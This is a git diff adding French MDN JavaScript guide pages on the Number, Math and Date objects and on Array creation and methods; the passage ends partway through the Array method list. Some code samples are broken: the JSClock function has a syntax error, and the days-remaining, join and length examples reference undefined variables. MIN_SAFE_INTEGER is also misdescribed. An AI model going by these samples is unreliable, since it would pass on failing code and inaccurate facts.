+   <td>Le plus grand nombre qu'on peut représenter en JavaScript (<code>±1.7976931348623157e+308</code>).</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_VALUE")}}</td>
+   <td>Le plus petit nombre qu'on peut représenter en JavaScript (<code>±5e-324</code>).</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NaN")}}</td>
+   <td>Une valeur spéciale signifiant que la valeur n'est pas un nombre.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.NEGATIVE_INFINITY")}}</td>
+   <td>L'infini négatif, renvoyé lorsqu'on dépasse la valeur minimale.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.POSITIVE_INFINITY")}}</td>
+   <td>L'infini positif, renvoyé lorsqu'on dépasse la valeur maximale.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.EPSILON")}}</td>
+   <td>La différence entre 1 et la première valeur supérieure à 1 qui puisse être représentée comme {{jsxref("Number")}}. (<code>2.220446049250313e-16</code>)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MIN_SAFE_INTEGER")}}</td>
+   <td>Le plus petit entier qu'on puisse représenter en JavaScript. (−2<sup>53</sup> + 1 ou <code>−9007199254740991</code>)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.MAX_SAFE_INTEGER")}}</td>
+   <td>
+    <p>L'entier le plus grand qu'on puisse représenter en JavaScript (+2<sup>53</sup> − 1 ou <code>+9007199254740991</code>)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Méthodes de <code>Number</code></caption>
+ <tbody>
+  <tr>
+   <th>Méthode</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.parseFloat()")}}</td>
+   <td>Analyse un argument qui est une chaîne de caractères et renvoie un nombre décimal. Cette méthode est équivalente à la fonction {{jsxref("parseFloat", "parseFloat()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.parseInt()")}}</td>
+   <td>Analyse un argument qui est une chaîne de caractères et renvoie un entier exprimé dans une base donnée. Cette méthode est équivalente à la fonction {{jsxref("parseInt", "parseInt()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isFinite()")}}</td>
+   <td>Détermine si la valeur passée en argument est un nombre fini.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isInteger()")}}</td>
+   <td>Détermine si la valeur passée en argument est un nombre entier.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isNaN()")}}</td>
+   <td>Détermine si la valeur passée en argument est {{jsxref("NaN")}}. Cette version est plus robuste que la fonction globale {{jsxref("Objets_globaux/isNaN", "isNaN()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.isSafeInteger()")}}</td>
+   <td>Détermine si la valeur fournie est un nombre qu'il est possible de représenter comme un entier sans perdre d'information.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Le prototype de <code>Number</code> fournit certaines méthodes pour exprimer les valeurs représentées par les objets <code>Number</code> dans différents formats. Le tableau suivant liste certaines de ces méthodes de <code>Number.prototype</code>.</p>
+
+<table class="standard-table">
+ <caption>Méthodes of <code>Number.prototype</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.toExponential", "toExponential()")}}</td>
+   <td>Renvoie une chaîne de caractères représentant le nombre en notation exponentielle.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toFixed", "toFixed()")}}</td>
+   <td>Renvoie une chaîne de caractères représentant le nombre en notation à point fixe.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.toPrecision", "toPrecision()")}}</td>
+   <td>Renvoie une chaîne de caractères représentant le nombre en notation à point fixe avec une précision donnée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Lobjet_Math">L'objet <code>Math</code></h2>
+
+<p>L'objet natif {{jsxref("Math")}} possède des propriétés et des méthodes statiques pour représenter des constantes et des fonctions mathématiques. Ainsi, la propriété <code>PI</code> de l'objet <code>Math</code> représente la valeur de la constante <math><semantics><mi>π</mi><annotation encoding="TeX">\pi</annotation></semantics></math> (3.141...), on peut l'utiliser dans les applications avec :</p>
+
+<pre class="brush: js">Math.PI
+</pre>
+
+<p>De la même façon, les fonctions mathématiques usuelles sont des méthodes de <code>Math</code>. On retrouve par exemple les fonctions trigonométriques, logarithmiques et exponentielles ainsi que d'autres fonctions. Si on souhaite utiliser la fonction sinus, on pourra écrire :</p>
+
+<pre class="brush: js">Math.sin(1.56)
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les méthodes trigonométriques de <code>Math</code> prennent des arguments exprimés en radians.</p>
+</div>
+
+<p>Le tableau suivant liste les méthodes de l'objet <code>Math</code>.</p>
+
+<table class="standard-table">
+ <caption>Méthodes de <code>Math</code></caption>
+ <tbody>
+  <tr>
+   <th scope="col">Méthode</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.abs", "abs()")}}</td>
+   <td>Valeur absolue</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}</td>
+   <td>Fonctions trigonométriques standards (les arguments sont exprimés en radians)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}</td>
+   <td>Fonctions trigonométriques inverses (les valeurs renvoyées sont exprimées en radians)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}</td>
+   <td>Fonctions trigonométriques hyperboliques (les arguments sont exprimés en radians)</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}</td>
+   <td>Fonctions trigonométriques hyperboliques inverses (les valeurs renvoyées sont exprimées en radians).</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}</td>
+   <td>Fonctions exponentielles et logarithmiques</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}</td>
+   <td>Renvoie le plus petit/grand entier inférieur/supérieur ou égal à l'argument donné</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}</td>
+   <td>Renvoie le plus petit (resp. grand) nombre d'une liste de nombres séparés par des virgules</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.random", "random()")}}</td>
+   <td>Renvoie un nombre aléatoire compris entre 0 et 1</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},</td>
+   <td>Fonctions d'arrondis et de troncature</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}</td>
+   <td>Racine carrée, cubique et racine carrée de la somme des carrés des arguments</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.sign", "sign()")}}</td>
+   <td>Renvoie le signe d'un nombre et indique si la valeur est négative, positive ou nulle</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Math.clz32", "clz32()")}},<br>
+    {{jsxref("Math.imul", "imul()")}}</td>
+   <td>Le nombre de zéros qui commencent un nombre sur 32 bits en représentation binaire.<br>
+    La résultat de la multiplication de deux arguments sur 32 bits effectuée comme en C.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>À la différence des autres objets, on ne crée pas d'objet de type <code>Math</code>. Ses propriétés sont statiques, on les appelle donc toujours depuis l'objet <code>Math</code>.</p>
+
+<h2 id="Lobjet_Date">L'objet <code>Date</code></h2>
+
+<p>JavaScript ne possède pas de type primitif pour représenter des dates. Cependant l'objet {{jsxref("Date")}} et ses méthodes permettent de manipuler des dates et des heures au sein d'une application. L'objet <code>Date</code> possède de nombreuses méthodes pour définir, modifier, obtenir des dates. Il ne possède pas de propriétés.</p>
+
+<p>JavaScript gère les dates de façon similaire à Java. Les deux langages possèdent de nombreuses méthodes en commun et les deux langages stockent les dates selon les nombres de millisecondes écoulées depuis le premier janvier 1970 à 00h00:00.</p>
+
+<p>L'objet <code>Date</code> permet de représenter des dates allant de -100 000 000 jours jusqu'à +100 000 000 jours par rapport au premier janvier 1970 UTC.</p>
+
+<p>Pour créer un objet <code>Date</code>, on utilisera la syntaxe suivante :</p>
+
+<pre class="brush: js">var monObjetDate = new Date([paramètres]);
+</pre>
+
+<p>avec <code>monObjetDate</code> étant le nom de l'objet à créer, cela peut être un nouvel objet ou une propriété d'un objet existant.</p>
+
+<p>Lorsqu'on appelle <code>Date</code> sans le mot-clé <code>new</code>, cela renvoie la date fournie sous la forme d'une chaîne de caractères.</p>
+
+<p>Les <code>paramètres</code> qui peuvent être utilisés sont :</p>
+
+<ul>
+ <li>Aucun paramètre : l'objet créé représentera la date et l'heure courante.</li>
+ <li>Une chaîne de caractères représentant une date au format suivant : "jour, année heures:minutes:secondes". Par exemple <code>var noël95 = new Date("December 25, 1995 13:30:00")</code>. Si les valeurs pour les heures, minutes ou secondes sont absentes, elles vaudront 0 par défaut.</li>
+ <li>Un ensemble de valeurs entières pour l'année, le mois et le jour : <code>var noël95 = new Date(1995, 11, 25)</code>.</li>
+ <li>Un ensemble de valeurs entières pour l'année, le mois, le jour, l'heure, les minutes et les secondes : <code>var noël95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
+</ul>
+
+<h3 id="Méthodes_de_lobjet_Date">Méthodes de l'objet <code>Date</code></h3>
+
+<p>Les méthodes de l'objet <code>Date</code> se répartissent en différentes catégories :</p>
+
+<ul>
+ <li>celles utilisées pour définir et modifier les valeurs des objets <code>Date</code> (mutateurs).</li>
+ <li>celles utilisées pour obtenir des informations à partir des objets <code>Date</code> (accesseurs).</li>
+ <li>celles utilisées pour convertir les objets <code>Date</code> sous différents formats (souvent en chaînes de caractères).</li>
+ <li>celles utilisées pour analyser et convertir des chaînes de caractères représentant des dates.</li>
+</ul>
+
+<p>Avec les accesseurs et les mutateurs, il est possible d'obtenir ou de modifier séparément les secondes, les minutes, les heures, le jour du mois ou de la semaine, le mois et l'année. Il existe une méthode <code>getDay</code> qui renvoie le jour de la semaine mais il n'existe pas de méthode réciproque <code>setDay</code> car le jour de la semaine est automatiquement déterminé. Ces méthodes utilisent des entiers pour représenter les valeurs utilisées :</p>
+
+<ul>
+ <li>Pour les secondes et les minutes : 0 à 59</li>
+ <li>Pour les heures : 0 à 23</li>
+ <li>Pour les jours : 0 (dimanche) à 6 (samedi)</li>
+ <li>Pour les dates : 1 à 31 (jour du mois)</li>
+ <li>Pour les mois : 0 (janvier) à 11 (décembre)</li>
+ <li>Pour les années : les années à partir de 1900</li>
+</ul>
+
+<p>Ainsi, si on définit la date suivante :</p>
+
+<pre class="brush: js">var noël95 = new Date("December 25, 1995");
+</pre>
+
+<p><code>noël95.getMonth()</code> renverra 11, et <code>noël95.getFullYear()</code> renverra 1995.</p>
+
+<p>Les méthodes <code>getTime</code> et <code>setTime</code> peuvent être utiles pour comparer des dates entre elles. La méthode <code>getTime</code> renvoie le nombre de millisecondes écoulées depuis le premier janvier 1970 à 00:00:00 pour l'objet <code>Date</code>.</p>
+
+<p>Par exemple, les instructions suivantes affichent le nombre de jours qui restent pour l'année courante :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> aujourdhui <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// On définit le jour et le mois</span>
+<span class="keyword token">var</span> finAnnée <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="number token">1995</span><span class="punctuation token">,</span> <span class="number token">11</span><span class="punctuation token">,</span> <span class="number token">31</span><span class="punctuation token">,</span> <span class="number token">23</span><span class="punctuation token">,</span> <span class="number token">59</span><span class="punctuation token">,</span> <span class="number token">59</span><span class="punctuation token">,</span> <span class="number token">999</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// On définit l'année avec l'année courante</span>
+finAnnée<span class="punctuation token">.</span><span class="function token">setFullYear</span><span class="punctuation token">(</span>aujourdhui<span class="punctuation token">.</span><span class="function token">getFullYear</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// On calcule le nombre de millisecondes par jour</span>
+<span class="keyword token">var</span> msParJour <span class="operator token">=</span> <span class="number token">24</span> <span class="operator token">*</span> <span class="number token">60</span> <span class="operator token">*</span> <span class="number token">60</span> <span class="operator token">*</span> <span class="number token">1000</span><span class="punctuation token">;</span>
+
+<span class="comment token">// On renvoie le nombre de jours restants dans l'année</span>
+<span class="keyword token">var</span> joursRestants <span class="operator token">=</span> <span class="punctuation token">(</span>finAnnée<span class="punctuation token">.</span><span class="function token">getTime</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">-</span> today<span class="punctuation token">.</span><span class="function token">getTime</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="operator token">/</span> msPerDay<span class="punctuation token">;</span>
+joursRestants <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">round</span><span class="punctuation token">(</span>joursRestants<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Cet exemple crée un objet <code>Date</code> nommé <code>aujourdhui</code> qui contient la date du jour. On crée ensuite un objet <code>Date</code> nommé <code>finAnnée</code> pour lequel on définit ensuite l'année avec l'année courante. Après, on calcule le nombre de millisecondes qui s'écoulent dans une journée. Enfin, on calcule le nombre de jours entre <code>aujourdhui</code> et <code>finAnnée</code> en utilisant <code>getTime</code> puis on arrondit le tout pour avoir un nombre de jours.</p>
+
+<p>La méthode <code>parse</code> est utile lorsqu'on souhaite affecter des valeurs temporelles à partir de chaînes de caractères. Par exemple, dans le code qui suit, on utilise les méthodes <code>parse</code> et <code>setTime</code> pour affecter la valeur d'une date à un objet <code>IPOdate</code> :</p>
+
+<pre class="brush: js">var IPOdate = new Date();
+IPOdate.setTime(Date.parse("Aug 9, 1995"));
+</pre>
+
+<h3 id="Exemple_dutilisation_de_lobjet_Date">Exemple d'utilisation de l'objet <code>Date</code></h3>
+
+<p>Dans l'exemple qui suit, la fonction <code>JSClock()</code> renvoie le temps au format d'une horloge numérique représentant les heures sur 12 heures :</p>
+
+<pre class="brush: js">function JSClock() {
+  var temps = new Date();
+  var heures = temps.getHours();
+  var minutes = temps.getMinutes();
+  var secondes = temps.getSeconds();
+  var calc = "" + (heures &gt; 12) ? heures - 12 : heures);
+  if (heures == 0)
+    calc = "12";
+  calc += ((minutes &lt; 10) ? ":0" : ":") + minutes;
+  calc += ((secondes &lt; 10) ? ":0" : ":") + secondes;
+  calc += (heures &gt;= 12) ? " P.M." : " A.M.";
+  return calc;
+}
+</pre>
+
+<p>Pour commencer, la fonction <code>JSClock</code> crée un objet <code>Date</code> appelé <code>temps</code> qui représente la date et l'heure à l'instant où la fonction est exécutée. Ensuite, les méthodes <code>getHours</code>, <code>getMinutes</code>, et <code>getSeconds</code> sont appelées afin d'affecter les valeurs correspondantes à <code>heures</code>, <code>minute</code>s, et <code>secondes</code>.</p>
+
+<p>Les quatre instructions suivantes permettent de construire une chaîne de caractères à partir de la valeur temporelle. La première instruction crée une variable <code>calc</code> et lui affecte une valeur avec une expression conditionnelle : si <code>heures</code> est supérieure à 12, on affichera (<code>heures - 12</code>), sinon on affichera l'heure sauf si c'est 0 auquel cas on affichera 12.</p>
+
+<p>L'instruction qui suit concatène la valeur de <code>minutes</code> à <code>calc</code>. Si la valeur de <code>minutes</code> est inférieure à 10, l'expression conditionnelle ajoutera une chaîne avec un zéro pour que la valeur soit affichée avec deux chiffres. De la même façon, l'instruction qui suit concatène la valeur de <code>calc</code> avec les secondes.</p>
+
+<p>Enfin, une expression conditionnelle est utilisée pour ajouter "P.M." à <code>calc</code> si <code>heures</code> vaut 12 ou plus, sinon ce sera la chaîne "A.M." qui sera ajoutée à la fin de <code>calc</code>.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs", "Web/JavaScript/Guide/Formatage_du_texte")}}</p>
diff --git a/files/fr/web/javascript/guide/objets_élémentaires_javascript/index.html b/files/fr/web/javascript/guide/objets_élémentaires_javascript/index.html
new file mode 100644
index 0000000000..cba256e851
--- /dev/null
+++ b/files/fr/web/javascript/guide/objets_élémentaires_javascript/index.html
@@ -0,0 +1,898 @@
+---
+title: Objets élémentaires JavaScript
+slug: Web/JavaScript/Guide/Objets_élémentaires_JavaScript
+tags:
+  - Guide
+  - JavaScript
+  - Objets JavaScript
+translation_of: Web/JavaScript/Guide
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+
+<p>Dans ce chapitre nous verrons les différents objets élémentaires qui existent en JavaScript : <code>Array</code>, <code>Boolean</code>, <code>Date</code>, <code>Function</code>, <code>Math</code>, <code>Number</code>, <code>RegExp</code>, et <code>String</code>.</p>
+
+<h2 id="Les_tableaux_objet_Array">Les tableaux : objet <code>Array</code></h2>
+
+<p>JavaScript ne possède pas type primitif pour les tableaux. En revanche, il est possible d'utiliser l'objet natif <code>Array</code> ainsi que ses méthodes pour manipuler des tableaux. L'objet <code>Array</code> possède différentes méthodes pour manipuler les tableaux : fusion, inverse, tri... Il possède une propriété permettant de déterminer la longueur du tableau et d'autres propriétés qu'on peut utiliser avec les expressions rationnelles.</p>
+
+<p>Un <em>tableau</em> est un ensemble ordonné de valeurs auxquelles on peut faire référence via un nom et un indice. Si par exemple on utilise un tableau <code>reg </code>qui contient un registre de noms indicés (autrement dit dont la position dans le tableau est déterminée) par un identifiant : on aurait <code>reg[1]</code> pour le premier nom, <code>reg[2]</code> pour le second et ainsi de suite/</p>
+
+<h3 id="Créer_un_tableau">Créer un tableau :</h3>
+
+<p>Les instructions suivantes permettent de créer des objets <code>Array</code> équivalents :</p>
+
+<div>
+<pre class="brush: js">var arr = new Array(element0, element1, ..., elementN);
+var arr = Array(element0, element1, ..., elementN);
+var arr = [element0, element1, ..., elementN];
+</pre>
+</div>
+
+<p><code>element0, element1, ..., elementN</code> est la liste des valeurs des éléments du tableau. Quand ces valeurs sont fournies, les éléments du tableau sont initialisés avec ses valeurs. La propriété <code>length </code>vaudra alors le nombre d'arguments.</p>
+
+<p>La dernière syntaxe, utilisant des crochets, est appelée « littéral de tableau » ou « initialisateur de tableau ». C'est la forme la plus courte pour créer un tableau et c'est cette forme qui est souvent préférée. Voir la page <a href="/fr/docs/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Litt.C3.A9raux_de_tableaux" title="/fr/docs/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Litt.C3.A9raux_de_tableaux">Littéraux de tableaux</a> pour plus de détails.</p>
+
+<p>Lorsqu'on souhaite créer un tableau de longueur non nulle mais qui ne contient aucun élément, les syntaxes suivantes peuvent être utilisées :</p>
+
+<pre class="brush: js">var arr = new Array(longueurTabl);
+var arr = Array(longueurTabl);
+
+// Ces instructions ont le même effet
+var arr = [];
+arr.length = longueurTabl;
+</pre>
+
+<p>Dans le code ci-dessus, <code>longueurTabl</code> doit être du type <code>Number</code>. Si ce n'est pas le cas, un tableau avec une seule valeur, celle fournie, <code>longueurTabl</code>, sera créé. Si on appelle <code>arr.length</code>, on aura bien <code>longueurTabl</code>, en revanche le tableau ne contiendra que des éléments vides (indéfinis). Si on utilise une boucle <code>for...in</code> sur le tableau, aucun des éléments du tableau ne sera renvoyé.</p>
+
+<p>En plus de définir une nouvelle variable en lui assignant un tableau, on peut également assigner les tableaux à une propriété d'un nouvel objet ou d'un objet existant :</p>
+
+<pre class="brush: js">var obj = {};
+// ...
+obj.prop = [element0, element1, ..., elementN];
+
+// OU
+var obj = {prop: [element0, element1, ...., elementN]}
+</pre>
+
+<p>Si on souhaite initialiser un tableau avec un seul élément qui est un nombre, on doit utiliser la syntaxe avec crochets. En effet, si on utilise le constructeur <code>Array()</code> auquel on passe un seul argument numérique, celui-ci sera interprété comme <code>longueurTabl</code>, et non pas comme le seul élément du tableau.</p>
+
+<pre><code>var arr = [42];
+var arr = Array(42); // Crée un tableau sans élément mais de longueur 42
+
+// L'instruction ci-avant est équivalente à
+var arr = [];
+arr.length = 42;
+</code>
+</pre>
+
+<p>Si on appelle le constructeur <code>Array() </code>avec un argument qui n'est pas un nombre entier (dont la partie décimale est non nulle), on obtiendra une erreur <code>RangeError</code>. Voici un exemple :</p>
+
+<pre>var arr = Array(9.3);  // RangeError: Invalid array length
+</pre>
+
+<p>Si on souhaite créer des tableaux d'un seul élément (peu importe le type), il est plus adapté d'utiliser des littéraux de tableaux ou de créer un tableau vide puis d'y ajouter la valeur.</p>
+
+<h3 id="Remplir_un_tableau">Remplir un tableau</h3>
+
+<p>Il est possible de remplir un tableau en affectant des valeurs à ses différents éléments :</p>
+
+<pre class="brush: js">var reg = [];
+reg[0] = "Casey Jones";
+reg[1] = "Phil Lesh";
+reg[2] = "August West";
+</pre>
+
+<p><strong>Note :</strong> Si on utilise les crochets et un nombre décimal non entier, une propriété sera créée pour l'objet mais cela ne créera pas un élément du tableau.</p>
+
+<pre> var arr = [];
+arr[3.4] = "Oranges";
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+</pre>
+
+<p>On peut également remplir un tableau à la création :</p>
+
+<pre class="brush: js">var monTableau = new Array("Hello", maVar, 3.14159);
+var monTableau = ["Mangue", "Pomme", "Orange"]
+</pre>
+
+<h3 id="Faire_référence_aux_éléments_d'un_tableau">Faire référence aux éléments d'un tableau</h3>
+
+<p>Il est possible de faire référence aux élément d'un tableau en utilisant leur indice dans ce tableau. Ainsi, si on définit le tableau suivant :</p>
+
+<pre class="brush: js">var monTableau = ["Vent", "Eau", "Feu"];
+</pre>
+
+<p>On peut faire référence au premier élément du tableau en utilisant <code>monTableau[0]</code> et au second élément en utilisant <code>monTableau[1]</code>. Les indices des éléments d'un tableau commencent à zéro.</p>
+
+<p><strong>Note :</strong> L'opérateur du tableau (les crochets) est aussi utilisé pour accéder aux propriétés du tableau (en effet les tableaux sont des objets en JavaScript, et on peut donc utiliser leurs propriétés). Par exemple :</p>
+
+<pre> var tabl = ["un", "deux", "trois"];
+tabl[2];  // trois
+tabl["length"];  // 3
+</pre>
+
+<h3 id="La_propriété_length">La propriété <code>length</code></h3>
+
+<p>En termes d'implémentation, les éléments d'un tableau sont en fait stockés comme des propriétés de l'objet et l'indice de l'élément est le nom de la propriété. La propriété <code>length</code> est spéciale : elle renvoie toujours l'indice du dernier élément plus 1. Attention : les indices d'un tableau, en JavaScript, commencent à 0 et pas à 1.</p>
+
+<pre class="brush: js">var chats = [];
+chats[30] = ['Nyan'];
+print(chats.length); // 31
+</pre>
+
+<p>Il est également possible d'affecter une valeur à la propriété <code>length</code>. Si on lui assigne une valeur inférieure au nombre d'éléments du tableau : le tableau sera tronqué. Si on lui affecte la valeur 0, le tableau sera entièrement vidé.</p>
+
+<pre class="brush: js">var chats = ['Marie', 'Toulouse', 'Berlioz'];
+console.log(chats.length); // 3
+
+chats.length = 2;
+console.log(chats); // affiche "Marie,Toulouse" - Berlioz a été retiré
+
+chats.length = 0;
+console.log(chats); // Rien n'est affiché : tableau vide
+
+chats.length = 3;
+console.log(cats); // [undefined, undefined, undefined]
+</pre>
+
+<h3 id="Effectuer_des_boucles_sur_des_tableaux">Effectuer des boucles sur des tableaux</h3>
+
+<p>On sera souvent amené à faire des boucles sur les valeurs d'un tableau pour répéter un traitement sur chacune d'elle. La façon la plus simple de faire des boucles est la suivante :</p>
+
+<pre class="brush: js">var couleurs = ['rouge', 'vert', 'bleu'];
+for (var i = 0; i &lt; couleurs.length; i++) {
+  console.log(couleurs[i]);
+}
+</pre>
+
+<p>Si on est certain qu'aucun des éléments du tableau ne pourra être évalué à <code>false</code>. Si par exemple le tableau est constitué d'éléments du <a href="/fr/docs/R%C3%A9f%C3%A9rence_DOM_Gecko">DOM</a>, on peut utiliser la syntaxe suivante, plus efficace :</p>
+
+<pre class="brush: js">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* Effectuer un traitement sur les div */
+}
+</pre>
+
+<p>En faisant cela, on évite de répéter le test qui consiste à vérifier la longueur du tableau et on s'assure que la variable <code>div</code> est réassignée à chaque passage dans la boucle.</p>
+
+<p>La méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach"><code>forEach()</code></a>, introduite avec JavaScript 1.6, permet de boucler sur un tableau d'une autre façon :</p>
+
+<pre class="brush: js">var couleurs = ['rouge', 'vert', 'bleu'];
+couleurs.forEach(function(couleur) {
+  console.log(couleur);
+});
+</pre>
+
+<p>La fonction, passée en argument de la méthode <code>forEach</code> est exécutée pour chaque élément du tableau (qui sera passé en argument de cette fonction). Les éléments du tableau non assignés ne sont pas traités.</p>
+
+<p>Les éléments du tableau qui n'ont pas été définis lors de la création du tableau ne sont pas utilisés avec <code>forEach, </code>en revanche lorsque <code>undefined</code> a été explicitement assigné à un élément du tableau, il est pris en compte :</p>
+
+<pre class="brush: js">var array = ['premier', 'second', , 'quatrième'];
+
+// la boucle ci-dessous renvoie ['premier', 'second', 'quatrième'];
+array.forEach(function(element) {
+  console.log(element);
+})
+
+if(array[2] === undefined) { console.log('array[2] vaut undefined'); } // true
+
+var array = ['premier', 'second', undefined, 'quatrième'];
+
+//la boucle ci-dessous renvoie ['premier', 'second', undefined, 'quatrième'];
+array.forEach(function(element) {
+  console.log(element);
+})</pre>
+
+<p>Les éléments d'un tableau étant stockés comme des propriétés d'un tableau, il n'est pas conseillé d'utiliser de boucle <code>for...in</code> pour traiter les tableaux car on traitera les éléments du tableau ainsi que toutes les propriétés énumérables.</p>
+
+<h3 id="Méthodes_de_l'objet_Array">Méthodes de l'objet <code>Array</code></h3>
+
+<p>L'objet <code>Array</code> possède les méthodes suivantes :</p>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/R%C3%A9f%C3%A9rence_JavaScript/R%C3%A9f%C3%A9rence_JavaScript/Objets_globaux/Array/concat"><code>concat()</code></a> : fusionne deux tableaux et renvoie le résultat de cette fusion
+
+  <pre class="brush: js">var monTableau = new Array("1", "2", "3");
+monTableau = monTableau.concat("a", "b", "c"); // monTableau vaut maintenant ["1", "2", "3", "a", "b", "c"]
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/join"><code>join(délimiteur = ",")</code></a> fusionne les éléments d'un tableau en une seule chaîne, en utilisant un délimiteur :
+  <pre class="brush: js">var monTableau = new Array("Air", "Eau", "Feu");
+var liste = monTableauArray.join(" - "); // "Air - Eau - Feu"
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/push"><code>push()</code></a> ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la longueur du tableau après cet ajout :
+  <pre class="brush: js">var monTableau = new Array("1", "2");
+monTableau.push("3"); // monTableau vaut maintenant ["1", "2", "3"]
+</pre>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/pop"><code>pop()</code></a> retire le dernier élément d'un tableau et renvoie cet élément :
+  <pre class="brush: js">var monTableau = new Array("1", "2", "3");
+var dernier = monTableau.pop(); // monTableau vaut ["1", "2"] et dernier = "3"
+</pre>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/shift"><code>shift()</code></a> retire le premier élément du tableau et renvoie cet élément :
+  <pre class="brush: js">var monTableau = new Array ("1", "2", "3");
+var premier = monTableau.shift(); // monTableau vaut ["2", "3"], premier vaut "1"
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/unshift"><code>unshift()</code></a> ajoute un ou plusieurs éléments en premier(s) élément(s) dans un tableau et renvoie la nouvelle longueur :
+  <pre class="brush: js">var monTableau = new Array ("1", "2", "3");
+monTableau.unshift("4", "5"); // monTableau devient ["4", "5", "1", "2", "3"]</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Objets_globaux/Array/slice"><code>slice(indice_debut, jusqu_indice)</code></a> extrait une portion d'un tableau et renvoie un nouveau tableau :
+  <pre class="brush: js">var monTableau = new Array ("a", "b", "c", "d", "e");
+monTableau = monTableau.slice(1, 4); /* commencer à 1 et jusqu'à l'indice 3, renvoyant
+ ainsi [ "b", "c", "d"] */
+</pre>
+ </li>
+ <li><a href="/fr/docs/JavaScript/Reference/Global_Objects/Array/splice"><code>splice(indice, nombre_a_enlever, ajout_element1, ajout_element2, ...)</code></a> retire des éléments d'un tableau et les remplace si des valeurs sont fournies :
+  <pre class="brush: js">var monTableau = new Array ("1", "2", "3", "4", "5");
+monTableau.splice(1, 3, "a", "b", "c", "d"); // monTableau vaut ["1", "a", "b", "c", "d", "5"]
